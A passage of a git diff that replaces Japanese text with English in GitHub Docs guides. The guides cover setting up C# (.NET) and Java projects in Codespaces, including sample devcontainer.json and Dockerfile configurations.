+This guide shows you how to set up your C# (.NET) project in {% data variables.product.prodname_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template. -### 必要な環境 +### Prerequisites -- {% data variables.product.prodname_dotcom_the_website %} のリポジトリに既存の C# (.NET) プロジェクトがある必要があります。 プロジェクトがない場合は、https://github.com/2percentsilk/dotnet-quickstart の例でこのチュートリアルを試すことができます。 -- Organization で {% data variables.product.prodname_codespaces %} を有効にする必要があります。 +- You should have an existing C# (.NET) project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/2percentsilk/dotnet-quickstart. +- You must have {% data variables.product.prodname_codespaces %} enabled for your organization. -## ステップ 1: codespace でプロジェクトを開く +## Step 1: Open your project in a codespace 1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**. - ![[New codespace] ボタン](/assets/images/help/codespaces/new-codespace-button.png) + ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png) If you don’t see this option, {% data variables.product.prodname_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) for more information. -codespace を作成すると、プロジェクトは専用のリモート VM 上に作成されます。 デフォルト設定では、codespace のコンテナには、.NET を含む多くの言語とランタイムがあります。 また、git、wget、rsync、openssh、nano などの一般的なツールセットも含まれています。 +When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including .NET. It also includes a common set of tools like git, wget, rsync, openssh, and nano. -vCPU と RAM の量を調整したり、[ドットファイルを追加して環境をパーソナライズ](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)したり、インストールされているツールやスクリプトを変更したりして、codespace をカスタマイズできます。 +You can customize your codespace by adjusting the amount of vCPUs and RAM, [adding dotfiles to personalize your environment](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account), or by modifying the tools and scripts installed. -{% data variables.product.prodname_codespaces %} は、`devcontainer.json` というファイルを使用して設定を保存します。 起動時に、{% data variables.product.prodname_codespaces %} はファイルを使用して、プロジェクトに必要となる可能性のあるツール、依存関係、またはその他のセットアップをインストールします。 詳しい情報については、「[プロジェクトの Codespaces を設定する](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)」を参照してください。 +{% data variables.product.prodname_codespaces %} uses a file called `devcontainer.json` to store configurations. On launch {% data variables.product.prodname_codespaces %} uses the file to install any tools, dependencies, or other set up that might be needed for the project. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)." -## ステップ 2: テンプレートから codespace に開発コンテナを追加する +## Step 2: Add a dev container to your codespace from a template -デフォルトの Codespaces コンテナには、最新の .NET バージョンと一般的なツールがプリインストールされています。 ただし、カスタムコンテナを設定して、codespace 作成の一部として実行されるツールとスクリプトをプロジェクトのニーズに合わせて調整し、リポジトリ内のすべての {% data variables.product.prodname_codespaces %} ユーザに完全に再現可能な環境を確保することをお勧めします。 +The default codespaces container comes with the latest .NET version and common tools preinstalled. However, we encourage you to set up a custom container so you can tailor the tools and scripts that run as part of codespace creation to your project's needs and ensure a fully reproducible environment for all {% data variables.product.prodname_codespaces %} users in your repository. -カスタムコンテナを使用してプロジェクトを設定するには、`devcontainer.json` ファイルを使用して環境を定義する必要があります。 {% data variables.product.prodname_codespaces %} で、これをテンプレートから追加することも、独自に作成することもできます。 開発コンテナの詳細については、「[プロジェクトの Codespaces を設定する](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)」を参照してください。 +To set up your project with a custom container, you will need to use a `devcontainer.json` file to define the environment. In {% data variables.product.prodname_codespaces %} you can add this either from a template or you can create your own. For more information on dev containers, see "[Introduction to dev containers +](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)." {% data reusables.codespaces.command-palette-container %} -2. この例では、**C# (.NET)** をクリックします。 追加機能が必要な場合は、C# (.NET) に固有の任意のコンテナ、または C# (.NET) や MSSQL などのツールの組み合わせを選択できます。 ![リストから C# (.NET) オプションの選択](/assets/images/help/codespaces/add-dotnet-prebuilt-container.png) -3. .NET の推奨バージョンをクリックします。 ![.NET バージョンの選択](/assets/images/help/codespaces/add-dotnet-version.png) -4. デフォルトのオプションを使用して、Node.js をカスタマイズに追加します。 ![Node.js の選択に追加](/assets/images/help/codespaces/dotnet-options.png) +2. For this example, click **C# (.NET)**. If you need additional features you can select any container that’s specific to C# (.NET) or a combination of tools such as C# (.NET) and MS SQL. + ![Select C# (.NET) option from the list](/assets/images/help/codespaces/add-dotnet-prebuilt-container.png) +3. Click the recommended version of .NET. + ![.NET version selection](/assets/images/help/codespaces/add-dotnet-version.png) +4. Accept the default option to add Node.js to your customization. + ![Add Node.js selection](/assets/images/help/codespaces/dotnet-options.png) {% data reusables.codespaces.rebuild-command %} -### 開発コンテナの構造 +### Anatomy of your dev container -C# (.NET) 開発コンテナテンプレートを追加すると、次のファイルを含む `.devcontainer` フォルダがプロジェクトのリポジトリのルートに追加されます。 +Adding the C# (.NET) dev container template adds a `.devcontainer` folder to the root of your project's repository with the following files: - `devcontainer.json` - Dockerfile -新しく追加された `devcontainer.json` ファイルは、サンプルの後に説明されるいくつかのプロパティを定義します。 +The newly added `devcontainer.json` file defines a few properties that are described after the sample. #### devcontainer.json ```json { - "name": "C# (.NET)", - "build": { - "dockerfile": "Dockerfile", - "args": { - // Update 'VARIANT' to pick a .NET Core version: 2.1, 3.1, 5.0 - "VARIANT": "5.0", - // Options - "INSTALL_NODE": "true", - "NODE_VERSION": "lts/*", - "INSTALL_AZURE_CLI": "false" - } - }, + "name": "C# (.NET)", + "build": { + "dockerfile": "Dockerfile", + "args": { + // Update 'VARIANT' to pick a .NET Core version: 2.1, 3.1, 5.0 + "VARIANT": "5.0", + // Options + "INSTALL_NODE": "true", + "NODE_VERSION": "lts/*", + "INSTALL_AZURE_CLI": "false" + } + }, - // Set *default* container specific settings.json values on container create. - "settings": { - "terminal.integrated.shell.linux": "/bin/bash" - }, + // Set *default* container specific settings.json values on container create. + "settings": { + "terminal.integrated.shell.linux": "/bin/bash" + }, - // コンテナの作成時にインストールする拡張機能の ID を追加します。 - "extensions": [ - "ms-dotnettools.csharp" - ], + // Add the IDs of extensions you want installed when the container is created. + "extensions": [ + "ms-dotnettools.csharp" + ], - // 'forwardPorts' を使用して、コンテナ内のポートのリストをローカルで使用できるようにします。 - // "forwardPorts": [5000, 5001], + // Use 'forwardPorts' to make a list of ports inside the container available locally. + // "forwardPorts": [5000, 5001], - // [Optional] To reuse of your local HTTPS dev cert: - // - // 1. Export it locally using this command: - // * Windows PowerShell: - // dotnet dev-certs https --trust; dotnet dev-certs https -ep "$env:USERPROFILE/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere" - // * macOS/Linux terminal: - // dotnet dev-certs https --trust; dotnet dev-certs https -ep "${HOME}/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere" - // - // 2. これらの「remoteEnv」行のコメントを解除します。 - // "remoteEnv": { - // "ASPNETCORE_Kestrel__Certificates__Default__Password": "SecurePwdGoesHere", - // "ASPNETCORE_Kestrel__Certificates__Default__Path": "/home/vscode/.aspnet/https/aspnetapp.pfx", - // }, - // - // 3. シナリオに応じて、次のいずれかを実行します。 - // * GitHub Codespaces や Remote - Containers を使用する場合: - // 1. コンテナを開始します - // 2. ~/.aspnet/https/aspnetapp.pfx をファイルエクスプローラのルートにドラッグします - // 3. VS Code でターミナルを開き、"mkdir -p /home/vscode/.aspnet/https && mv aspnetapp.pfx /home/vscode/.aspnet/https" を実行します - // - // * Remote - Containers のみをローカルコンテナとともに使用する場合は、代わりに次の行のコメントを解除します。 - // "mounts": [ "source=${env:HOME}${env:USERPROFILE}/.aspnet/https,target=/home/vscode/.aspnet/https,type=bind" ], + // [Optional] To reuse of your local HTTPS dev cert: + // + // 1. Export it locally using this command: + // * Windows PowerShell: + // dotnet dev-certs https --trust; dotnet dev-certs https -ep "$env:USERPROFILE/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere" + // * macOS/Linux terminal: + // dotnet dev-certs https --trust; dotnet dev-certs https -ep "${HOME}/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere" + // + // 2. Uncomment these 'remoteEnv' lines: + // "remoteEnv": { + // "ASPNETCORE_Kestrel__Certificates__Default__Password": "SecurePwdGoesHere", + // "ASPNETCORE_Kestrel__Certificates__Default__Path": "/home/vscode/.aspnet/https/aspnetapp.pfx", + // }, + // + // 3. Do one of the following depending on your scenario: + // * When using GitHub Codespaces and/or Remote - Containers: + // 1. Start the container + // 2. Drag ~/.aspnet/https/aspnetapp.pfx into the root of the file explorer + // 3. Open a terminal in VS Code and run "mkdir -p /home/vscode/.aspnet/https && mv aspnetapp.pfx /home/vscode/.aspnet/https" + // + // * If only using Remote - Containers with a local container, uncomment this line instead: + // "mounts": [ "source=${env:HOME}${env:USERPROFILE}/.aspnet/https,target=/home/vscode/.aspnet/https,type=bind" ], - // コンテナの作成後にコマンドを実行するには、「postCreateCommand」を使用します。 - // "postCreateCommand": "dotnet restore", + // Use 'postCreateCommand' to run commands after the container is created. + // "postCreateCommand": "dotnet restore", - // 代わりに、connect を root としてコメントアウトします。 詳細は https://aka.ms/vscode-remote/containers/non-root を参照します。 - "remoteUser": "vscode" + // Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root. + "remoteUser": "vscode" } ``` -- **名前** - 開発コンテナには任意の名前を付けることができます。これはデフォルトです。 -- **ビルド** - ビルドプロパティです。 - - **Dockerfile** - ビルドオブジェクトでは、Dockerfile は、テンプレートからも追加された `dockerfile` への参照です。 +- **Name** - You can name our dev container anything, this is just the default. +- **Build** - The build properties. + - **Dockerfile** - In the build object, `dockerfile` is a reference to the Dockerfile that was also added from the template. - **Args** - - **バリアント**: このファイルには、使用する .NETCore バージョンであるビルド引数が1つだけ含まれています。 -- **設定** - これらは {% data variables.product.prodname_vscode %} 設定です。 - - **Terminal.integrated.shell.linux** - ここでは bash がデフォルトですが、これを変更することで他のターミナルシェルを使用できます。 -- **機能拡張** - これらはデフォルト設定で含まれている機能拡張です。 - - **ms-dotnettools.csharp** - Microsoft C# 機能拡張は、IntelliSense、linting、デバッグ、コードナビゲーション、コード形式、リファクタリング、変数エクスプローラ、テストエクスプローラなどの機能を含む、C# での開発に豊富なサポートを提供します。 -- **forwardPorts** - ここにリストされているポートはすべて自動的に転送されます。 For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)." -- **postCreateCommand** - `dotnet restore` のように、Dockerfileで定義されていない codespace への到達後に何らかの操作を実行する場合は、ここで実行できます。 -- **remoteUser** - デフォルト設定では、vscode ユーザとして実行していますが、オプションでこれを root に設定できます。 + - **Variant**: This file only contains one build argument, which is the .NET Core version that we want to use. +- **Settings** - These are {% data variables.product.prodname_vscode %} settings. + - **Terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this. +- **Extensions** - These are extensions included by default. + - **ms-dotnettools.csharp** - The Microsoft C# extension provides rich support for developing in C#, including features such as IntelliSense, linting, debugging, code navigation, code formatting, refactoring, variable explorer, test explorer, and more. +- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)." +- **postCreateCommand** - If you want to run anything after you land in your codespace that’s not defined in the Dockerfile, like `dotnet restore`, you can do that here. +- **remoteUser** - By default, you’re running as the vscode user, but you can optionally set this to root. #### Dockerfile @@ -157,62 +163,62 @@ RUN if [ "$INSTALL_AZURE_CLI" = "true" ]; then bash /tmp/library-scripts/azcli-d # RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \ # && apt-get -y install --no-install-recommends -# [Optional] この行のコメントを解除してグローバルノードパッケージをインストールします。 +# [Optional] Uncomment this line to install global node packages. # RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g " 2>&1 ``` -Dockerfile を使用して、コンテナレイヤーを追加し、コンテナに含める OS パッケージ、ノードバージョン、またはグローバルパッケージを指定できます。 +You can use the Dockerfile to add additional container layers to specify OS packages, node versions, or global packages we want included in our container. -## ステップ 3: devcontainer.json ファイルを変更する +## Step 3: Modify your devcontainer.json file -開発コンテナを追加し、すべての機能を基本的に理解したら、環境に合わせてコンテナを設定するための変更を加えます。 この例では、機能拡張をインストールし、codespace の起動時にプロジェクトの依存関係を復元するためのプロパティを追加します。 +With your dev container added and a basic understanding of what everything does, you can now make changes to configure it for your environment. In this example, you'll add properties to install extensions and restore your project dependencies when your codespace launches. -1. Explorer で `.devcontainer` フォルダを展開し、ツリーから `devcontainer.json` ファイルを選択して開きます。 +1. In the Explorer, expand the `.devcontainer` folder and select the `devcontainer.json` file from the tree to open it. ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png) -2. `devcontainer.json` ファイルの `extensions` リストを更新し、プロジェクトでの作業に役立ついくつかの機能拡張を追加します。 +2. Update your the `extensions` list in your `devcontainer.json` file to add a few extensions that are useful when working with your project. ```json{:copy} "extensions": [ - "ms-dotnettools.csharp", - "streetsidesoftware.code-spell-checker", - ], + "ms-dotnettools.csharp", + "streetsidesoftware.code-spell-checker", + ], ``` -3. codespace 設定プロセスの一部として依存関係を復元するには、`postCreateCommand` のコメントを解除します。 +3. Uncomment the `postCreateCommand` to restore dependencies as part of the codespace setup process. ```json{:copy} - // コンテナの作成後にコマンドを実行するには、「postCreateCommand」を使用します。 + // Use 'postCreateCommand' to run commands after the container is created. "postCreateCommand": "dotnet restore", ``` {% data reusables.codespaces.rebuild-command %} - codespace 内でリビルドすると、リポジトリに変更をコミットする前に、期待どおりに変更が動作します。 何らかの失敗があった場合、コンテナの調整を継続するためにリビルドできるリカバリコンテナを備えた codespace に配置されます。 + Rebuilding inside your codespace ensures your changes work as expected before you commit the changes to the repository. If something does result in a failure, you’ll be placed in a codespace with a recovery container that you can rebuild from to keep adjusting your container. -5. 「Code Spell Checker」機能拡張がインストールされていることを確認して、変更が正常に適用されたことを確認します。 +5. Check your changes were successfully applied by verifying the "Code Spell Checker" extension was installed. - ![機能拡張のリスト](/assets/images/help/codespaces/dotnet-extensions.png) + ![Extensions list](/assets/images/help/codespaces/dotnet-extensions.png) -## Step 4: アプリケーションを実行する +## Step 4: Run your application -前のセクションでは、`postCreateCommand` を使用して、`dotnet restore` コマンドを介してパッケージ一式をインストールしました。 依存関係がインストールされているため、アプリケーションを実行できます。 +In the previous section, you used the `postCreateCommand` to install a set of packages via the `dotnet restore` command. With our dependencies now installed, we can run our application. -1. `F5` キーを押すか、ターミナルで `dotnet watch run` と入力して、アプリケーションを実行します。 +1. Run your application by pressing `F5` or entering `dotnet watch run` in your terminal. -2. プロジェクトが開始されると、プロジェクトが使用するポートに接続するためのプロンプトが表示されたトーストが右下隅に表示されます。 +2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses. - ![ポートフォワーディングトースト](/assets/images/help/codespaces/python-port-forwarding.png) + ![Port forwarding toast](/assets/images/help/codespaces/python-port-forwarding.png) -## ステップ 5: 変更をコミットする +## Step 5: Commit your changes {% data reusables.codespaces.committing-link-to-procedure %} -## 次のステップ +## Next steps -これで、C# (.NET) で {% data variables.product.prodname_codespaces %} プロジェクトの開発を始める準備ができました。 より高度なシナリオ向けの追加のリソースは次のとおりです。 +You should now be ready start developing your C# (.NET) project in {% data variables.product.prodname_codespaces %}. Here are some additional resources for more advanced scenarios. -- [{% data variables.product.prodname_codespaces %} の暗号化されたシークレットを管理する](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces) -- [{% data variables.product.prodname_codespaces %} の GPG 検証を管理する](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces) +- [Managing encrypted secrets for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces) +- [Managing GPG verification for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces) - [Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace) diff --git a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md index 239cd88b3e..22140d67f0 100644 --- a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md +++ b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md @@ -1,7 +1,7 @@ --- title: Setting up your Java project for Codespaces shortTitle: Setting up with your Java project -intro: 'カスタム開発コンテナを作成して、{% data variables.product.prodname_codespaces %} で Java プロジェクトを始めます。' +intro: 'Get started with your Java project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.' product: '{% data reusables.gated-features.codespaces %}' redirect_from: - /codespaces/getting-started-with-codespaces/getting-started-with-your-java-project-in-codespaces @@ -10,119 +10,123 @@ versions: ghec: '*' topics: - Codespaces +hasExperimentalAlternative: true +hidden: true --- -## はじめに +## Introduction -このガイドでは、Java プロジェクトを {% data variables.product.prodname_codespaces %} で設定する方法を説明します。 codespace でプロジェクトを開き、テンプレートから開発コンテナ設定を追加および変更する例を紹介します。 +This guide shows you how to set up your Java project in {% data variables.product.prodname_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template. -### 必要な環境 +### Prerequisites -- {% data variables.product.prodname_dotcom_the_website %} のリポジトリに既存の Java プロジェクトがあります。 プロジェクトがない場合は、https://github.com/microsoft/vscode-remote-try-java の例でこのチュートリアルを試すことができます。 -- Organization で {% data variables.product.prodname_codespaces %} を有効にする必要があります。 +- You should have an existing Java project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/microsoft/vscode-remote-try-java +- You must have {% data variables.product.prodname_codespaces %} enabled for your organization. -## ステップ 1: codespace でプロジェクトを開く +## Step 1: Open your project in a codespace 1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**. - ![[New codespace] ボタン](/assets/images/help/codespaces/new-codespace-button.png) + ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png) If you don’t see this option, {% data variables.product.prodname_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) for more information. -codespace を作成すると、プロジェクトは専用のリモート VM 上に作成されます。 デフォルト設定では、codespace のコンテナには、Java、nvm、npm、yarn を含む多くの言語とランタイムがあります。 また、git、wget、rsync、openssh、nano などの一般的なツールセットも含まれています。 +When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including Java, nvm, npm, and yarn. It also includes a common set of tools like git, wget, rsync, openssh, and nano. -vCPU と RAM の量を調整したり、[ドットファイルを追加して環境をパーソナライズ](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)したり、インストールされているツールやスクリプトを変更したりして、codespace をカスタマイズできます。 +You can customize your codespace by adjusting the amount of vCPUs and RAM, [adding dotfiles to personalize your environment](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account), or by modifying the tools and scripts installed. -{% data variables.product.prodname_codespaces %} は、`devcontainer.json` というファイルを使用して設定を保存します。 起動時に、{% data variables.product.prodname_codespaces %} はファイルを使用して、プロジェクトに必要となる可能性のあるツール、依存関係、またはその他のセットアップをインストールします。 詳しい情報については、「[プロジェクトの Codespaces を設定する](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)」を参照してください。 +{% data variables.product.prodname_codespaces %} uses a file called `devcontainer.json` to store configurations. On launch {% data variables.product.prodname_codespaces %} uses the file to install any tools, dependencies, or other set up that might be needed for the project. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)." -## ステップ 2: テンプレートから codespace に開発コンテナを追加する +## Step 2: Add a dev container to your codespace from a template -デフォルトの Codespaces コンテナには、最新の Java バージョン、パッケージマネージャー（Maven、Gradle）、およびその他の一般的なツールがプリインストールされています。 ただし、プロジェクトに必要なツールとスクリプトを定義するために、カスタムコンテナを設定することをお勧めします。 これにより、リポジトリ内のすべての {% data variables.product.prodname_codespaces %} ユーザに対して完全に再現可能な環境を確保できます。 +The default codespaces container comes with the latest Java version, package managers (Maven, Gradle), and other common tools preinstalled. However, we recommend that you set up a custom container to define the tools and scripts that your project needs. This will ensure a fully reproducible environment for all {% data variables.product.prodname_codespaces %} users in your repository. -カスタムコンテナを使用してプロジェクトを設定するには、`devcontainer.json` ファイルを使用して環境を定義する必要があります。 {% data variables.product.prodname_codespaces %} で、これをテンプレートから追加することも、独自に作成することもできます。 開発コンテナの詳細については、「[プロジェクトの Codespaces を設定する](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)」を参照してください。 +To set up your project with a custom container, you will need to use a `devcontainer.json` file to define the environment. In {% data variables.product.prodname_codespaces %} you can add this either from a template or you can create your own. For more information on dev containers, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)." {% data reusables.codespaces.command-palette-container %} -3. この例では、[**Java**] をクリックします。 実際には、Java に固有の任意のコンテナ、または Java と Azure Functions などのツールの組み合わせを選択できます。 ![リストから Java オプションを選択](/assets/images/help/codespaces/add-java-prebuilt-container.png) -4. Java の推奨バージョンをクリックします。 ![Java バージョンを選択](/assets/images/help/codespaces/add-java-version.png) +3. For this example, click **Java**. In practice, you could select any container that’s specific to Java or a combination of tools such as Java and Azure Functions. + ![Select Java option from the list](/assets/images/help/codespaces/add-java-prebuilt-container.png) +4. Click the recommended version of Java. + ![Java version selection](/assets/images/help/codespaces/add-java-version.png) {% data reusables.codespaces.rebuild-command %} -### 開発コンテナの構造 +### Anatomy of your dev container -Java 開発コンテナテンプレートを追加すると、次のファイルを含む `.devcontainer` フォルダがプロジェクトのリポジトリのルートに追加されます。 +Adding the Java dev container template adds a `.devcontainer` folder to the root of your project's repository with the following files: - `devcontainer.json` - Dockerfile -新しく追加された `devcontainer.json` ファイルは、サンプルの後に説明されるいくつかのプロパティを定義します。 +The newly added `devcontainer.json` file defines a few properties that are described after the sample. #### devcontainer.json ```json -// フォーマットの詳細については、https://aka.ms/vscode-remote/devcontainer.json または次のファイルの README を参照してください。 +// For format details, see https://aka.ms/vscode-remote/devcontainer.json or this file's README at: // https://github.com/microsoft/vscode-dev-containers/tree/v0.159.0/containers/java { - "name": "Java", - "build": { - "dockerfile": "Dockerfile", - "args": { - // VARIANT引数を更新して Java バージョン11、14 を選択します。 - "VARIANT": "11", - // オプション - "INSTALL_MAVEN": "true", - "INSTALL_GRADLE": "false", - "INSTALL_NODE": "false", - "NODE_VERSION": "lts/*" - } - }, + "name": "Java", + "build": { + "dockerfile": "Dockerfile", + "args": { + // Update the VARIANT arg to pick a Java version: 11, 14 + "VARIANT": "11", + // Options + "INSTALL_MAVEN": "true", + "INSTALL_GRADLE": "false", + "INSTALL_NODE": "false", + "NODE_VERSION": "lts/*" + } + }, - // コンテナの作成時に *デフォルト* のコンテナ固有の settings.json 値を設定します。 - "settings": { - "terminal.integrated.shell.linux": "/bin/bash", - "java.home": "/docker-java-home", - "maven.executable.path": "/usr/local/sdkman/candidates/maven/current/bin/mvn" - }, + // Set *default* container specific settings.json values on container create. + "settings": { + "terminal.integrated.shell.linux": "/bin/bash", + "java.home": "/docker-java-home", + "maven.executable.path": "/usr/local/sdkman/candidates/maven/current/bin/mvn" + }, - // Add the IDs of extensions you want installed when the container is created. - "extensions": [ - "vscjava.vscode-java-pack" - ], + // Add the IDs of extensions you want installed when the container is created. + "extensions": [ + "vscjava.vscode-java-pack" + ], - // 'forwardPorts' を使用して、コンテナ内のポートのリストをローカルで使用できるようにします。 - // "forwardPorts": [], + // Use 'forwardPorts' to make a list of ports inside the container available locally. + // "forwardPorts": [], - // コンテナの作成後にコマンドを実行するには、「postCreateCommand」を使用します。 - // "postCreateCommand": "java -version", + // Use 'postCreateCommand' to run commands after the container is created. + // "postCreateCommand": "java -version", - // 非 root ユーザとして接続するためコメントを解除します。 （参照: https://aka.ms/vscode-remote/containers/non-root） - "remoteUser": "vscode" + // Uncomment to connect as a non-root user. See https://aka.ms/vscode-remote/containers/non-root. + "remoteUser": "vscode" } ``` -- **名前** - 開発コンテナには任意の名前を付けることができます。これはデフォルトです。 -- **ビルド** - ビルドプロパティです。 - - **Dockerfile** - ビルドオブジェクトでは、Dockerfile は、テンプレートからも追加された Dockerfile への参照です。 +- **Name** - You can name your dev container anything, this is just the default. +- **Build** - The build properties. + - **Dockerfile** - In the build object, dockerfile is a reference to the Dockerfile that was also added from the template. - **Args** - - **バリアント**: このファイルには、Dockerfile に渡される Java バージョンであるビルド引数が1つだけ含まれています。 -- **設定** - これらは、設定可能な {% data variables.product.prodname_vscode %} 設定です。 - - **Terminal.integrated.shell.linux** - ここでは bash がデフォルトですが、これを変更することで他のターミナルシェルを使用できます。 -- **機能拡張** - これらはデフォルト設定で含まれている機能拡張です。 - - **Vscjava.vscode-java-pack** - Java Extension Pack は、Java 開発を始めるための一般的な機能拡張を提供します。 -- **forwardPorts** - ここにリストされているポートはすべて自動的に転送されます。 For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)." -- **postCreateCommand** - Dockerfileで定義されていない codespace への到達後に何らかの操作を実行する場合は、ここで実行できます。 -- **remoteUser** - デフォルト設定では、`vscode` ユーザとして実行していますが、オプションでこれを `root` に設定できます。 + - **Variant**: This file only contains one build argument, which is the Java version that is passed into the Dockerfile. +- **Settings** - These are {% data variables.product.prodname_vscode %} settings that you can set. + - **Terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this. +- **Extensions** - These are extensions included by default. + - **Vscjava.vscode-java-pack** - The Java Extension Pack provides popular extensions for Java development to get you started. +- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)." +- **postCreateCommand** - If you want to run anything after you land in your codespace that’s not defined in the Dockerfile, you can do that here. +- **remoteUser** - By default, you’re running as the `vscode` user, but you can optionally set this to `root`. #### Dockerfile ```bash -# 画像の内容はこちら: https://github.com/microsoft/vscode-dev-containers/tree/v0.159.0/containers/java/.devcontainer/base.Dockerfile +# See here for image contents: https://github.com/microsoft/vscode-dev-containers/tree/v0.159.0/containers/java/.devcontainer/base.Dockerfile ARG VARIANT="14" FROM mcr.microsoft.com/vscode/devcontainers/java:0-${VARIANT} -# [Optional] MavenまたはGradleをインストールします +# [Optional] Install Maven or Gradle ARG INSTALL_MAVEN="false" ARG MAVEN_VERSION=3.6.3 ARG INSTALL_GRADLE="false" @@ -130,61 +134,61 @@ ARG GRADLE_VERSION=5.4.1 RUN if [ "${INSTALL_MAVEN}" = "true" ]; then su vscode -c "source /usr/local/sdkman/bin/sdkman-init.sh && sdk install maven \"${MAVEN_VERSION}\""; fi \ && if [ "${INSTALL_GRADLE}" = "true" ]; then su vscode -c "source /usr/local/sdkman/bin/sdkman-init.sh && sdk install gradle \"${GRADLE_VERSION}\""; fi -# [Optional] フロントエンド開発用の nvm を使用して Node.js のバージョンをインストールします +# [Optional] Install a version of Node.js using nvm for front end dev ARG INSTALL_NODE="true" ARG NODE_VERSION="lts/*" RUN if [ "${INSTALL_NODE}" = "true" ]; then su vscode -c "source /usr/local/share/nvm/nvm.sh && nvm install ${NODE_VERSION} 2>&1"; fi -# [Optional] このセクションのコメントを解除して、追加の OS パッケージをインストールします。 +# [Optional] Uncomment this section to install additional OS packages. # RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \ # && apt-get -y install --no-install-recommends -# [Optional] この行のコメントを解除してグローバルノードパッケージをインストールします。 +# [Optional] Uncomment this line to install global node packages. # RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g " 2>&1 ``` -Dockerfile を使用して、コンテナレイヤーを追加し、Dockerfile に含める OS パッケージ、Java バージョン、またはグローバルパッケージを指定できます。 +You can use the Dockerfile to add additional container layers to specify OS packages, Java versions, or global packages we want included in our Dockerfile. -## ステップ 3: devcontainer.json ファイルを変更する +## Step 3: Modify your devcontainer.json file -開発コンテナを追加し、すべての機能を基本的に理解したら、環境に合わせてコンテナを設定するための変更を加えます。 この例では、コードスペースの起動時に拡張機能とプロジェクトの依存関係をインストールするためのプロパティを追加します。 +With your dev container added and a basic understanding of what everything does, you can now make changes to configure it for your environment. In this example, you'll add properties to install extensions and your project dependencies when your codespace launches. -1. Explorer で、ツリーから `devcontainer.json` ファイルを選択して開きます。 表示するには、`.devcontainer` フォルダを展開する必要がある場合があります。 +1. In the Explorer, select the `devcontainer.json` file from the tree to open it. You might have to expand the `.devcontainer` folder to see it. ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png) -2. `extensions` の後に、`devcontainer.json` ファイルに次の行を追加します。 +2. Add the following lines to your `devcontainer.json` file after `extensions`. ```json{:copy} "postCreateCommand": "npm install", "forwardPorts": [4000], ``` - `devcontainer.json` プロパティの詳細については、Visual Studio Codeドキュメントの [devcontainer.json リファレンス](https://code.visualstudio.com/docs/remote/devcontainerjson-reference)を参照してください。 + For more information on `devcontainer.json` properties, see the [devcontainer.json reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference) on the Visual Studio Code docs. {% data reusables.codespaces.rebuild-command 